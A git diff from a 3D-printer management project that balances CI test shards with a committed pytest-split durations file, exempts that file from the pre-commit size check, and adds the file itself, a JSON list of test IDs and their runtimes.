diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 7f2b9cc8b..d66edca4b 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -124,21 +124,35 @@ jobs: pip install -r requirements-dev.txt - name: Run tests (shard ${{ matrix.shard }}/4) - timeout-minutes: 10 + timeout-minutes: 15 run: | cd backend # -v dropped: 5300+ "PASSED foo::bar" lines per worker eat 30-60s # of stdout I/O time on 2-vCPU runners. --tb=short is enough. - # --splits 4 --group N uses pytest-split to slice the collected - # test set roughly evenly across the 4 matrix shards; first run - # is name-hash-based, subsequent runs improve via .test_durations - # if you ever commit one (we don't — even the naive hash split - # gets us ≈25% per shard given the test mix here). + # + # --splits 4 --group N slices the suite across the 4 matrix shards. + # Without a durations file pytest-split balances by test COUNT, which + # is not the same thing as time: measured 2026-08-31, that put 658s of + # the suite's 1046s into shard 1 and 101s into shard 4 -- a 6.5x spread + # that walked shard 1 into the old 10-minute timeout on a docs-only + # commit. tests/.test_durations is committed so the split is balanced + # by measured time instead (1.01x spread). Shard test counts are + # lopsided by design once it is used: shard 4 takes thousands of fast + # unit tests, shard 1 keeps the slow integration ones. + # + # --durations-path must be explicit: pytest-split defaults it to + # $CWD/.test_durations, and this job runs from backend/ while the + # Docker job below runs from the image root. Left implicit, one of + # them silently finds no file and falls back to the count split. + # Regenerate after adding slow tests: + # cd backend && python -m pytest tests/ --store-durations \ + # --durations-path tests/.test_durations python -m pytest tests/ \ --tb=short \ --timeout=60 --timeout-method=thread \ -n auto \ - --splits 4 --group ${{ matrix.shard }} + --splits 4 --group ${{ matrix.shard }} \ + --durations-path tests/.test_durations # ============================================================================ # Frontend Checks @@ -365,7 +379,8 @@ jobs: --timeout=60 --timeout-method=thread \ -p no:cacheprovider \ -n auto \ - --splits 4 --group ${{ matrix.shard }} + --splits 4 --group ${{ matrix.shard }} \ + --durations-path backend/tests/.test_durations docker-test: name: Docker Build diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index b41fd524c..6724d777f 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -31,7 +31,17 @@ repos: args: ['--maxkb=1000'] # CHANGELOG.md is intentionally large (detailed per-release entries over # many versions); exempt it while keeping the 1 MB guard for everything else. - exclude: ^(static/assets/|CHANGELOG\.md$) + # + # backend/tests/.test_durations is ~1.5 MB and cannot be made smaller: + # its 11703 pytest node IDs are 1160 kB of keys before a single duration + # value is written, so no encoding fits under the guard (compact JSON + # with 3-decimal values still measures 1263 kB). Pruning fast tests is + # worse than useless -- pytest-split gives a test missing from the file + # the AVERAGE of the entries that remain, so dropped 1 ms tests come back + # weighted at ~89 ms and the balance it exists to provide degrades. + # It compresses to ~314 kB in the object store. Regenerate with + # --store-durations; see the backend test job in .github/workflows/ci.yml. + exclude: ^(static/assets/|CHANGELOG\.md$|backend/tests/\.test_durations$) - id: check-merge-conflict - id: debug-statements - id: detect-private-key diff --git a/backend/tests/.test_durations b/backend/tests/.test_durations new file mode 100644 index 000000000..bdd8d7f8b --- /dev/null +++ b/backend/tests/.test_durations @@ -0,0 +1,11705 @@ +{ + "integration/test_advanced_auth_api.py::TestAdminResetPasswordAPI::test_reset_password_requires_admin": 0.2663308931514621, + "integration/test_advanced_auth_api.py::TestAdminResetPasswordAPI::test_reset_password_requires_advanced_auth": 0.23061665520071983, + "integration/test_advanced_auth_api.py::TestAdminResetPasswordAPI::test_reset_password_sends_email": 0.2724676560610533, + "integration/test_advanced_auth_api.py::TestAdminResetPasswordAPI::test_reset_password_user_no_email": 0.26533656008541584, + "integration/test_advanced_auth_api.py::TestAdminResetPasswordAPI::test_reset_password_user_not_found": 0.2359932428225875, + "integration/test_advanced_auth_api.py::TestAdvancedAuthToggleAPI::test_advanced_auth_status_public": 0.21925708279013634, + "integration/test_advanced_auth_api.py::TestAdvancedAuthToggleAPI::test_disable_advanced_auth": 0.2506638988852501, + "integration/test_advanced_auth_api.py::TestAdvancedAuthToggleAPI::test_enable_advanced_auth": 0.2338475789874792, + "integration/test_advanced_auth_api.py::TestAdvancedAuthToggleAPI::test_enable_advanced_auth_without_smtp": 0.2374866707250476, + "integration/test_advanced_auth_api.py::TestAdvancedAuthToggleAPI::test_enable_requires_admin": 0.25981285609304905, + "integration/test_advanced_auth_api.py::TestAuthSourcePasswordResetBlocking::test_forgot_password_silently_skips_oidc_user": 0.2441646084189415, + "integration/test_advanced_auth_api.py::TestEmailLoginAPI::test_login_with_email": 0.28085092827677727, + "integration/test_advanced_auth_api.py::TestEmailLoginAPI::test_login_with_email_advanced_auth_disabled": 0.2484658183529973, + "integration/test_advanced_auth_api.py::TestEmailLoginAPI::test_login_with_email_case_insensitive": 0.29646798875182867, + "integration/test_advanced_auth_api.py::TestEmailLoginAPI::test_login_with_username_still_works": 0.2886734511703253, + "integration/test_advanced_auth_api.py::TestForgotPasswordAPI::test_forgot_password_changes_password": 0.32335166819393635, + "integration/test_advanced_auth_api.py::TestForgotPasswordAPI::test_forgot_password_requires_advanced_auth": 0.2212963355705142, + "integration/test_advanced_auth_api.py::TestForgotPasswordAPI::test_forgot_password_sends_email": 0.25824670121073723, + "integration/test_advanced_auth_api.py::TestForgotPasswordAPI::test_forgot_password_unknown_email": 0.24028912279754877, + "integration/test_advanced_auth_api.py::TestSMTPConfigAPI::test_get_smtp_settings_masks_password": 0.2457282366231084, + "integration/test_advanced_auth_api.py::TestSMTPConfigAPI::test_save_smtp_settings": 0.3591958601027727, + "integration/test_advanced_auth_api.py::TestSMTPConfigAPI::test_save_smtp_settings_no_auth": 0.21591762267053127, + "integration/test_advanced_auth_api.py::TestSMTPConfigAPI::test_smtp_settings_requires_admin": 0.2527539748698473, + "integration/test_advanced_auth_api.py::TestSMTPConfigAPI::test_test_smtp_connection": 0.23196675442159176, + "integration/test_advanced_auth_api.py::TestUserCreationAdvancedAuth::test_create_user_advanced_auth_auto_password": 0.251020816154778, + "integration/test_advanced_auth_api.py::TestUserCreationAdvancedAuth::test_create_user_advanced_auth_requires_email": 0.24104451946914196, + "integration/test_advanced_auth_api.py::TestUserCreationAdvancedAuth::test_create_user_duplicate_email": 0.26690884586423635, + "integration/test_advanced_auth_api.py::TestUserCreationAdvancedAuth::test_create_user_response_includes_email": 0.25900600384920835, + "integration/test_ams_drying_latch_persistence.py::TestAmsDryingLatchPersistence::test_clearing_the_latch_empties_the_row": 0.19184100814163685, + "integration/test_ams_drying_latch_persistence.py::TestAmsDryingLatchPersistence::test_corrupt_row_reads_as_no_latch": 0.18533236719667912, + "integration/test_ams_drying_latch_persistence.py::TestAmsDryingLatchPersistence::test_entries_past_the_grace_cap_are_dropped_on_load": 0.1860209796577692, + "integration/test_ams_drying_latch_persistence.py::TestAmsDryingLatchPersistence::test_existing_row_is_updated_not_duplicated": 0.18098933901637793, + "integration/test_ams_drying_latch_persistence.py::TestAmsDryingLatchPersistence::test_multiple_units_are_tracked_independently": 0.18017334956675768, + "integration/test_ams_drying_latch_persistence.py::TestAmsDryingLatchPersistence::test_naive_stamps_are_read_as_utc": 0.17641704715788364, + "integration/test_ams_drying_latch_persistence.py::TestAmsDryingLatchPersistence::test_near_future_stamps_are_clamped_to_now": 0.1874009957537055, + "integration/test_ams_drying_latch_persistence.py::TestAmsDryingLatchPersistence::test_no_row_created_when_nothing_ever_dries": 0.18167599476873875, + "integration/test_ams_drying_latch_persistence.py::TestAmsDryingLatchPersistence::test_non_object_json_reads_as_no_latch": 0.17795527260750532, + "integration/test_ams_drying_latch_persistence.py::TestAmsDryingLatchPersistence::test_round_trip_survives_a_reload": 0.17853429540991783, + "integration/test_ams_drying_latch_persistence.py::TestAmsDryingLatchPersistence::test_unparseable_stamps_are_skipped_individually": 0.17865989357233047, + "integration/test_ams_drying_latch_persistence.py::TestAmsDryingLatchPersistence::test_wildly_future_stamps_are_dropped": 0.1808379339054227, + "integration/test_ams_history_api.py::TestAMSHistoryAPI::test_delete_old_history": 0.20052129589021206, + "integration/test_ams_history_api.py::TestAMSHistoryAPI::test_delete_old_history_no_records": 0.1946453833952546, + "integration/test_ams_history_api.py::TestAMSHistoryAPI::test_get_ams_history_custom_hours": 0.1957385828718543, + "integration/test_ams_history_api.py::TestAMSHistoryAPI::test_get_ams_history_different_ams_units": 0.2098876629024744, + "integration/test_ams_history_api.py::TestAMSHistoryAPI::test_get_ams_history_empty": 0.2079658703878522, + "integration/test_ams_history_api.py::TestAMSHistoryAPI::test_get_ams_history_with_data": 0.20320670120418072, + "integration/test_ams_history_api.py::TestAMSHistoryAPI::test_get_ams_history_with_hours_filter": 0.20669376570731401, + "integration/test_ams_history_api.py::TestAMSHistoryAPI::test_get_ams_history_with_stats": 0.2054890003055334, + "integration/test_ams_labels_api.py::TestAmsLabelsAPI::test_delete_label": 0.2094439622014761, + "integration/test_ams_labels_api.py::TestAmsLabelsAPI::test_delete_label_whitespace_serial_uses_synthetic_key": 0.20961961057037115, + "integration/test_ams_labels_api.py::TestAmsLabelsAPI::test_delete_nonexistent_label_succeeds": 0.19576210714876652, + "integration/test_ams_labels_api.py::TestAmsLabelsAPI::test_get_labels_empty": 0.21861230675131083, + "integration/test_ams_labels_api.py::TestAmsLabelsAPI::test_get_labels_no_printer_state": 0.21104732435196638, + "integration/test_ams_labels_api.py::TestAmsLabelsAPI::test_get_labels_resolves_serial_to_ams_id": 0.2105067716911435, + "integration/test_ams_labels_api.py::TestAmsLabelsAPI::test_save_label_printer_not_found": 0.2038728091865778, + "integration/test_ams_labels_api.py::TestAmsLabelsAPI::test_save_label_updates_existing": 0.2042972631752491, + "integration/test_ams_labels_api.py::TestAmsLabelsAPI::test_save_label_validation_empty_label": 0.19636492524296045, + "integration/test_ams_labels_api.py::TestAmsLabelsAPI::test_save_label_whitespace_serial_uses_synthetic_key": 0.20373063068836927, + "integration/test_ams_labels_api.py::TestAmsLabelsAPI::test_save_label_with_serial": 0.19802770391106606, + "integration/test_ams_labels_api.py::TestAmsLabelsAPI::test_save_label_without_serial_uses_synthetic_key": 0.20389031153172255, + "integration/test_ams_slot_material_2902.py::TestAFilledOrFoamedVariantIsATypeOfItsOwn::test_it_reaches_the_slot_intact[ASA-GF-2]": 0.21237973403185606, + "integration/test_ams_slot_material_2902.py::TestAFilledOrFoamedVariantIsATypeOfItsOwn::test_it_reaches_the_slot_intact[PLA-AERO-0]": 0.21039547584950924, + "integration/test_ams_slot_material_2902.py::TestAFilledOrFoamedVariantIsATypeOfItsOwn::test_it_reaches_the_slot_intact[PLA-GF-1]": 0.21361980959773064, + "integration/test_ams_slot_material_2902.py::TestAFilledOrFoamedVariantIsATypeOfItsOwn::test_it_reaches_the_slot_intact[PPS-GF-3]": 0.21825234033167362, + "integration/test_ams_slot_material_2902.py::TestAFilledOrFoamedVariantIsATypeOfItsOwn::test_written_with_a_space_it_still_reaches_the_slot_intact": 0.2188063096255064, + "integration/test_ams_slot_material_2902.py::TestALocalPresetThatNamesNoFilamentId::test_and_still_prefers_a_material_that_has_its_own_preset": 0.2183473277837038, + "integration/test_ams_slot_material_2902.py::TestALocalPresetThatNamesNoFilamentId::test_the_resolver_places_a_product_line_too": 0.6409338107332587, + "integration/test_ams_slot_material_2902.py::TestConfigureSlotModal::test_a_product_line_typed_into_the_modal_is_reduced_too": 0.2004973329603672, + "integration/test_ams_slot_material_2902.py::TestInternalInventoryAssign::test_a_free_text_slicer_filament_naming_a_product_is_not_a_filament_id": 0.22522075194865465, + "integration/test_ams_slot_material_2902.py::TestInternalInventoryAssign::test_a_material_nothing_can_be_made_of_is_sent_unchanged": 0.20623639971017838, + "integration/test_ams_slot_material_2902.py::TestInternalInventoryAssign::test_a_material_that_already_resolved_keeps_its_own_preset": 0.21422316879034042, + "integration/test_ams_slot_material_2902.py::TestInternalInventoryAssign::test_a_pla_plus_spool_configures_the_slot_as_pla": 0.22439797781407833, + "integration/test_ams_slot_material_2902.py::TestInternalInventoryAssign::test_but_it_does_not_reuse_a_product_name_a_previous_version_left_there": 0.22630707640200853, + "integration/test_ams_slot_material_2902.py::TestInternalInventoryAssign::test_it_can_now_reuse_the_calibrated_preset_already_in_the_slot": 0.2203703187406063, + "integration/test_ams_slot_material_2902.py::TestInternalInventoryAssign::test_the_product_name_is_not_lost_it_moves_to_the_sub_brand": 0.22186921816319227, + "integration/test_ams_slot_material_2902.py::TestSpoolmanInventoryAssign::test_it_keeps_this_routes_own_preset_for_a_material_that_had_one": 0.20282850228250027, + "integration/test_ams_slot_material_2902.py::TestSpoolmanInventoryAssign::test_spoolmans_free_text_material_is_reduced_the_same_way": 0.20254131220281124, + "integration/test_ams_slot_material_2902.py::TestSpoolmanInventoryAssign::test_the_resolver_is_handed_the_spools_own_wording_not_the_type": 0.20950614660978317, + "integration/test_ams_slot_material_2902.py::TestSpoolmanLink::test_it_keeps_this_routes_own_preset_for_a_material_that_had_one": 0.2135844612494111, + "integration/test_ams_slot_material_2902.py::TestSpoolmanLink::test_linking_a_pla_plus_spool_configures_the_slot_as_pla": 0.20444459933787584, + "integration/test_ams_slot_material_2902.py::TestTheAssignmentSurvivesTheSlotItJustConfigured::test_a_genuinely_different_filament_still_unlinks": 0.21361123025417328, + "integration/test_ams_slot_material_2902.py::TestTheAssignmentSurvivesTheSlotItJustConfigured::test_a_pla_plus_spool_is_not_unlinked_from_the_slot_now_reporting_pla": 0.20985472947359085, + "integration/test_ams_slot_material_2902.py::TestTheAssignmentSurvivesTheSlotItJustConfigured::test_and_a_preset_name_does_not_excuse_an_unrelated_slot": 0.2114451201632619, + "integration/test_ams_slot_material_2902.py::TestTheAssignmentSurvivesTheSlotItJustConfigured::test_even_when_the_preset_name_was_never_stored": 0.21745528560131788, + "integration/test_ams_slot_material_2902.py::TestTheAssignmentSurvivesTheSlotItJustConfigured::test_nor_is_one_in_a_slot_an_older_version_configured": 0.2102218195796013, + "integration/test_ams_slot_material_2902.py::TestTheAssignmentSurvivesTheSlotItJustConfigured::test_nor_is_one_whose_slot_took_its_presets_type_rather_than_its_material": 0.20986361801624298, + "integration/test_ams_slot_material_2902.py::TestThePresetOutranksTheMaterialColumn::test_a_hand_edited_preset_naming_a_product_line_is_still_reduced": 0.22245720960199833, + "integration/test_ams_slot_material_2902.py::TestThePresetOutranksTheMaterialColumn::test_a_preset_that_names_no_type_leaves_the_reduction_in_charge": 0.22222702112048864, + "integration/test_ams_slot_material_2902.py::TestThePresetOutranksTheMaterialColumn::test_and_a_spool_with_no_preset_at_all_still_gets_one": 0.21007964201271534, + "integration/test_ams_slot_material_2902.py::TestThePresetOutranksTheMaterialColumn::test_the_slot_gets_the_presets_type_not_one_read_from_the_material": 0.21730098593980074, + "integration/test_ams_slot_sub_brand_none_2987.py::test_a_branded_spool_with_a_subtype_still_carries_all_three": 0.2143337745219469, + "integration/test_ams_slot_sub_brand_none_2987.py::test_a_branded_spool_without_a_subtype_sends_no_none": 0.21514212992042303, + "integration/test_ams_slot_sub_brand_none_2987.py::test_a_spool_with_only_a_material_is_unchanged": 0.21082252357155085, + "integration/test_ams_slot_sub_brand_none_2987.py::test_an_empty_string_subtype_is_treated_as_absent": 0.21166084613651037, + "integration/test_ams_slot_sub_brand_none_2987.py::test_an_unbranded_spool_with_a_subtype_is_unchanged": 0.2186360489577055, + "integration/test_api_key_cloud_access.py::TestAPIKeyCreationFlags::test_create_stamps_owner_and_cloud_flag": 0.234192356467247, + "integration/test_api_key_cloud_access.py::TestAPIKeyCreationFlags::test_create_with_cloud_flag_rejected_when_auth_disabled": 0.19325184263288975, + "integration/test_api_key_cloud_access.py::TestAPIKeyCreationFlags::test_create_without_cloud_flag_defaults_off": 0.23027256783097982, + "integration/test_api_key_cloud_access.py::TestAPIKeyCreationFlags::test_patch_cloud_flag_rejected_on_legacy_key": 0.22537006065249443, + "integration/test_api_key_cloud_access.py::TestCloudRouteGating::test_jwt_caller_unaffected_by_api_key_gate": 0.4336818214505911, + "integration/test_api_key_cloud_access.py::TestCloudRouteGating::test_legacy_key_rejected_with_recreate_message": 0.2354192966595292, + "integration/test_api_key_cloud_access.py::TestCloudRouteGating::test_owned_key_with_cloud_flag_passes_gate": 0.48434451781213284, + "integration/test_api_key_cloud_access.py::TestCloudRouteGating::test_owned_key_without_cloud_flag_rejected": 0.22675295174121857, + "integration/test_api_key_cloud_access.py::TestOwnerDeletionCleanup::test_deleting_owner_removes_their_api_keys": 0.2512702252715826, + "integration/test_api_key_cloud_access.py::TestSliceRouteCloudOwnerResolution::test_dep_no_op_for_jwt_or_anonymous": 0.1881103441119194, + "integration/test_api_key_cloud_access.py::TestSliceRouteCloudOwnerResolution::test_dep_returns_none_for_key_without_cloud_scope": 0.22854658495634794, + "integration/test_api_key_cloud_access.py::TestSliceRouteCloudOwnerResolution::test_dep_returns_none_for_legacy_ownerless_key": 0.22537731379270554, + "integration/test_api_key_cloud_access.py::TestSliceRouteCloudOwnerResolution::test_dep_returns_owner_for_key_with_cloud_scope": 0.22640970721840858, + "integration/test_api_key_owner_authority_1894.py::test_a_deleted_owner_does_not_fall_back_to_anonymous": 0.2175342133268714, + "integration/test_api_key_owner_authority_1894.py::test_admin_owned_key_keeps_full_scope_authority": 0.23008491657674313, + "integration/test_api_key_owner_authority_1894.py::test_bearer_path_is_gated_the_same_as_the_header": 0.21681099850684404, + "integration/test_api_key_owner_authority_1894.py::test_deactivating_the_owner_disables_the_key": 0.22047357261180878, + "integration/test_api_key_owner_authority_1894.py::test_key_cannot_exceed_its_owners_permissions": 0.22671707719564438, + "integration/test_api_key_owner_authority_1894.py::test_legacy_ownerless_key_still_works": 0.21381007228046656, + "integration/test_api_key_owner_authority_1894.py::test_me_is_rejected_once_the_owner_is_deactivated": 0.21832188963890076, + "integration/test_api_key_owner_authority_1894.py::test_me_reports_the_narrowed_set": 0.22148122172802687, + "integration/test_api_key_owner_authority_1894.py::test_webhook_rejects_a_deactivated_owner": 0.2207922302186489, + "integration/test_api_key_owner_authority_1894.py::test_webhook_routes_are_not_a_way_around_the_owner_check": 0.22244300413876772, + "integration/test_api_key_owner_authority_1894.py::test_webhook_still_works_for_a_permitted_owner": 0.22272853087633848, + "integration/test_archive_purge_api.py::test_auto_purge_hard_deletes_when_settings_opts_in": 0.21217739395797253, + "integration/test_archive_purge_api.py::test_auto_purge_skipped_when_disabled": 0.20910904183983803, + "integration/test_archive_purge_api.py::test_auto_purge_soft_deletes_by_default": 0.20679252035915852, + "integration/test_archive_purge_api.py::test_auto_purge_throttles_within_24h": 0.20166175346821547, + "integration/test_archive_purge_api.py::test_manual_purge_hard_deletes_when_purge_stats_set": 0.21109123714268208, + "integration/test_archive_purge_api.py::test_manual_purge_soft_deletes_by_default": 0.2136828051880002, + "integration/test_archive_purge_api.py::test_preview_counts_old_archives": 0.20464930403977633, + "integration/test_archive_purge_api.py::test_preview_ignores_recently_reprinted_archives": 0.1965811913833022, + "integration/test_archive_purge_api.py::test_settings_defaults_when_unset": 0.19716033712029457, + "integration/test_archive_purge_api.py::test_settings_rejects_out_of_range_days": 0.20830601826310158, + "integration/test_archive_purge_api.py::test_settings_roundtrip": 0.19886178616434336, + "integration/test_archives_api.py::TestArchiveDataIntegrity::test_archive_linked_to_printer": 0.2071184627711773, + "integration/test_archives_api.py::TestArchiveDataIntegrity::test_archive_stores_print_data": 0.21032229717820883, + "integration/test_archives_api.py::TestArchiveDataIntegrity::test_archive_update_persists": 0.2171902982518077, + "integration/test_archives_api.py::TestArchiveF3DEndpoints::test_archive_gcode_rejects_a_plate_the_file_does_not_hold": 0.208333739079535, + "integration/test_archives_api.py::TestArchiveF3DEndpoints::test_archive_gcode_serves_the_requested_plate": 0.20745782740414143, + "integration/test_archives_api.py::TestArchiveF3DEndpoints::test_archive_gcode_without_a_plate_serves_the_first_plate": 0.19981873035430908, + "integration/test_archives_api.py::TestArchiveF3DEndpoints::test_archive_response_f3d_path_null_when_not_set": 0.2064062776044011, + "integration/test_archives_api.py::TestArchiveF3DEndpoints::test_archive_response_includes_f3d_path": 0.2096887594088912, + "integration/test_archives_api.py::TestArchiveF3DEndpoints::test_delete_f3d_nonexistent_archive": 0.20565067138522863, + "integration/test_archives_api.py::TestArchiveF3DEndpoints::test_delete_f3d_when_no_file": 0.20131618808954954, + "integration/test_archives_api.py::TestArchiveF3DEndpoints::test_delete_tag": 0.21612686570733786, + "integration/test_archives_api.py::TestArchiveF3DEndpoints::test_delete_tag_not_found": 0.19193466193974018, + "integration/test_archives_api.py::TestArchiveF3DEndpoints::test_download_f3d_nonexistent_archive": 0.19584524258971214, + "integration/test_archives_api.py::TestArchiveF3DEndpoints::test_download_f3d_not_found_when_no_file": 0.2025225469842553, + "integration/test_archives_api.py::TestArchiveF3DEndpoints::test_filament_requirements_not_found": 0.20514478255063295, + "integration/test_archives_api.py::TestArchiveF3DEndpoints::test_filament_requirements_with_plate_id_not_found": 0.19363688211888075, + "integration/test_archives_api.py::TestArchiveF3DEndpoints::test_get_archive_plates_not_found": 0.19963089935481548, + "integration/test_archives_api.py::TestArchiveF3DEndpoints::test_get_plate_thumbnail_not_found": 0.1947819897904992, + "integration/test_archives_api.py::TestArchiveF3DEndpoints::test_get_tags_empty": 0.19940919242799282, + "integration/test_archives_api.py::TestArchiveF3DEndpoints::test_get_tags_sorted_by_count": 0.20598170068114996, + "integration/test_archives_api.py::TestArchiveF3DEndpoints::test_get_tags_with_data": 0.21347371395677328, + "integration/test_archives_api.py::TestArchiveF3DEndpoints::test_list_archives_includes_f3d_path": 0.21256520226597786, + "integration/test_archives_api.py::TestArchiveF3DEndpoints::test_rename_tag": 0.22773529309779406, + "integration/test_archives_api.py::TestArchiveF3DEndpoints::test_rename_tag_empty_name_error": 0.19224719889461994, + "integration/test_archives_api.py::TestArchiveF3DEndpoints::test_rename_tag_no_change": 0.19366072956472635, + "integration/test_archives_api.py::TestArchiveF3DEndpoints::test_upload_f3d_to_nonexistent_archive": 0.1980673773214221, + "integration/test_archives_api.py::TestArchivesAPI::test_a_measured_run_keeps_its_own_filament_figure": 0.21156152989715338, + "integration/test_archives_api.py::TestArchivesAPI::test_an_edit_that_leaves_filament_grams_alone_does_not_clear_it": 0.21316837146878242, + "integration/test_archives_api.py::TestArchivesAPI::test_archive_delete_impact_reports_counts": 0.21960848197340965, + "integration/test_archives_api.py::TestArchivesAPI::test_archive_media_token_is_archive_bound_single_use": 0.21532695647329092, + "integration/test_archives_api.py::TestArchivesAPI::test_archive_printer_media_baseline_excludes_old_timestamp_match": 0.20835621189326048, + "integration/test_archives_api.py::TestArchivesAPI::test_archive_printer_media_checks_alternate_timelapse_directories_after_empty_listing": 0.22352179419249296, + "integration/test_archives_api.py::TestArchivesAPI::test_archive_printer_media_enforces_api_key_printer_scope": 0.23899151291698217, + "integration/test_archives_api.py::TestArchivesAPI::test_archive_printer_media_releases_db_session_before_ftp": 0.20600935444235802, + "integration/test_archives_api.py::TestArchivesAPI::test_archive_printer_media_requires_printer_files_permission": 0.2987652150914073, + "integration/test_archives_api.py::TestArchivesAPI::test_archive_printer_media_skips_ftp_during_handshake_cooloff": 0.2154474025592208, + "integration/test_archives_api.py::TestArchivesAPI::test_archive_response_exposes_selected_plate": 0.21711526811122894, + "integration/test_archives_api.py::TestArchivesAPI::test_camera_only_user_cannot_mint_archive_media_token": 0.2772510629147291, + "integration/test_archives_api.py::TestArchivesAPI::test_clearing_the_figure_takes_the_mirrored_copy_with_it": 0.21300486382097006, + "integration/test_archives_api.py::TestArchivesAPI::test_delete_archive": 0.7083311639726162, + "integration/test_archives_api.py::TestArchivesAPI::test_delete_archive_blocked_when_related_queue_item_printing": 0.22916898038238287, + "integration/test_archives_api.py::TestArchivesAPI::test_delete_nonexistent_archive": 0.20429548155516386, + "integration/test_archives_api.py::TestArchivesAPI::test_filament_grams_can_be_set_by_hand": 0.2105683796107769, + "integration/test_archives_api.py::TestArchivesAPI::test_filament_grams_refuses_a_negative_figure": 0.2065670397132635, + "integration/test_archives_api.py::TestArchivesAPI::test_get_archive": 0.2095316043123603, + "integration/test_archives_api.py::TestArchivesAPI::test_get_archive_not_found": 0.2107308218255639, + "integration/test_archives_api.py::TestArchivesAPI::test_get_archive_printer_media_matches_timelapse_and_ipcam_chunks": 0.21704557910561562, + "integration/test_archives_api.py::TestArchivesAPI::test_get_archive_stats": 0.22702693566679955, + "integration/test_archives_api.py::TestArchivesAPI::test_hard_delete_clears_thumbnail_path_before_fk_cascade": 0.21269068587571383, + "integration/test_archives_api.py::TestArchivesAPI::test_list_archives_empty": 0.20696811750531197, + "integration/test_archives_api.py::TestArchivesAPI::test_list_archives_filter_by_printer": 0.2181442491710186, + "integration/test_archives_api.py::TestArchivesAPI::test_list_archives_pagination": 0.21563296020030975, + "integration/test_archives_api.py::TestArchivesAPI::test_list_archives_with_data": 0.2064739242196083, + "integration/test_archives_api.py::TestArchivesAPI::test_print_log_thumbnail_route_lazy_nulls_missing_file": 0.2074703797698021, + "integration/test_archives_api.py::TestArchivesAPI::test_purge_stats_drops_archive_from_quick_stats": 0.23018946405500174, + "integration/test_archives_api.py::TestArchivesAPI::test_soft_delete_clears_thumbnail_path_on_linked_log_entries": 0.221916108392179, + "integration/test_archives_api.py::TestArchivesAPI::test_soft_delete_preserves_stats_contribution": 0.2435748130083084, + "integration/test_archives_api.py::TestArchivesAPI::test_soft_deleted_archive_404_on_detail": 0.22055051755160093, + "integration/test_archives_api.py::TestArchivesAPI::test_soft_deleted_archive_hidden_from_search": 0.22969892527908087, + "integration/test_archives_api.py::TestArchivesAPI::test_update_archive_external_url": 0.2143541732802987, + "integration/test_archives_api.py::TestArchivesAPI::test_update_archive_failure_reason_mirrors_to_print_log_entry": 0.21606614161282778, + "integration/test_archives_api.py::TestArchivesAPI::test_update_archive_failure_reason_only_touches_latest_entry": 0.2189576607197523, + "integration/test_archives_api.py::TestArchivesAPI::test_update_archive_favorite": 0.20787470880895853, + "integration/test_archives_api.py::TestArchivesAPI::test_update_archive_name": 0.2146706571802497, + "integration/test_archives_api.py::TestArchivesAPI::test_update_archive_notes": 0.21699788700789213, + "integration/test_archives_api.py::TestArchivesAPI::test_update_archive_status_mirrors_to_print_log_entry": 0.21137510146945715, + "integration/test_archives_api.py::TestArchivesAPI::test_upload_archive_defaults_prefer_filename_for_name_false": 0.20903601497411728, + "integration/test_archives_api.py::TestArchivesAPI::test_upload_archive_forwards_prefer_filename_for_name[False]": 0.2022097622975707, + "integration/test_archives_api.py::TestArchivesAPI::test_upload_archive_forwards_prefer_filename_for_name[True]": 0.19834041967988014, + "integration/test_archives_api.py::TestArchivesAPI::test_upload_archives_bulk_defaults_prefer_filename_for_name_false": 0.2046558242291212, + "integration/test_archives_api.py::TestArchivesAPI::test_upload_archives_bulk_forwards_prefer_filename_for_name[False]": 0.20387069508433342, + "integration/test_archives_api.py::TestArchivesAPI::test_upload_archives_bulk_forwards_prefer_filename_for_name[True]": 0.20177114941179752, + "integration/test_archives_api.py::TestArchivesSlimAPI::test_slim_actual_time_for_failed_includes_elapsed": 0.2026102626696229, + "integration/test_archives_api.py::TestArchivesSlimAPI::test_slim_computes_actual_time": 0.21238764561712742, + "integration/test_archives_api.py::TestArchivesSlimAPI::test_slim_counts_reprints_as_separate_rows": 0.20708173420280218, + "integration/test_archives_api.py::TestArchivesSlimAPI::test_slim_date_filtering": 0.20744053460657597, + "integration/test_archives_api.py::TestArchivesSlimAPI::test_slim_empty": 0.1952295284718275, + "integration/test_archives_api.py::TestArchivesSlimAPI::test_slim_includes_energy_fields": 0.20297129917889833, + "integration/test_archives_api.py::TestArchivesSlimAPI::test_slim_includes_orphan_events": 0.19818000961095095, + "integration/test_archives_api.py::TestArchivesSlimAPI::test_slim_pagination": 0.21041766460984945, + "integration/test_archives_api.py::TestArchivesSlimAPI::test_slim_returns_only_expected_fields": 0.20560180954635143, + "integration/test_archives_api.py::TestFailureAnalysisAPI::test_failure_analysis_counts_reprints_and_orphans": 0.2240501968190074, + "integration/test_archives_api.py::TestNo3MFWarning::test_ignores_archives_older_than_30_days": 0.20720455422997475, + "integration/test_archives_api.py::TestNo3MFWarning::test_ignores_soft_deleted_fallbacks": 0.21394426561892033, + "integration/test_archives_api.py::TestNo3MFWarning::test_returns_false_when_no_archives": 0.20106152910739183, + "integration/test_archives_api.py::TestNo3MFWarning::test_returns_false_when_only_normal_archives": 0.2173866480588913, + "integration/test_archives_api.py::TestNo3MFWarning::test_returns_true_when_recent_fallback_exists": 0.21297951601445675, + "integration/test_archives_api.py::TestNo3MFWarningReason::test_a_known_reason_outranks_archives_that_carry_none": 0.20500871818512678, + "integration/test_archives_api.py::TestNo3MFWarningReason::test_a_reason_on_a_non_fallback_archive_is_not_reported": 0.2172071412205696, + "integration/test_archives_api.py::TestNo3MFWarningReason::test_an_empty_slot_is_reported": 0.20384911447763443, + "integration/test_archives_api.py::TestNo3MFWarningReason::test_internal_storage_is_reported": 0.20713272783905268, + "integration/test_archives_api.py::TestNo3MFWarningReason::test_internal_storage_outranks_an_empty_slot": 0.2034643441438675, + "integration/test_archives_api.py::TestPrintLogEntryDelete::test_delete_print_log_entry_404_when_missing": 0.19374506548047066, + "integration/test_archives_api.py::TestPrintLogEntryDelete::test_delete_print_log_entry_does_not_clear_others": 0.21501502208411694, + "integration/test_archives_api.py::TestPrintLogEntryDelete::test_delete_print_log_entry_drops_from_stats": 0.2254817383363843, + "integration/test_archives_api.py::TestPrintLogEntryUpdate::test_get_surfaces_failure_reason": 0.2061340371146798, + "integration/test_archives_api.py::TestPrintLogEntryUpdate::test_patch_404_when_missing": 0.201361701823771, + "integration/test_archives_api.py::TestPrintLogEntryUpdate::test_patch_can_clear_failure_reason": 0.21884506102651358, + 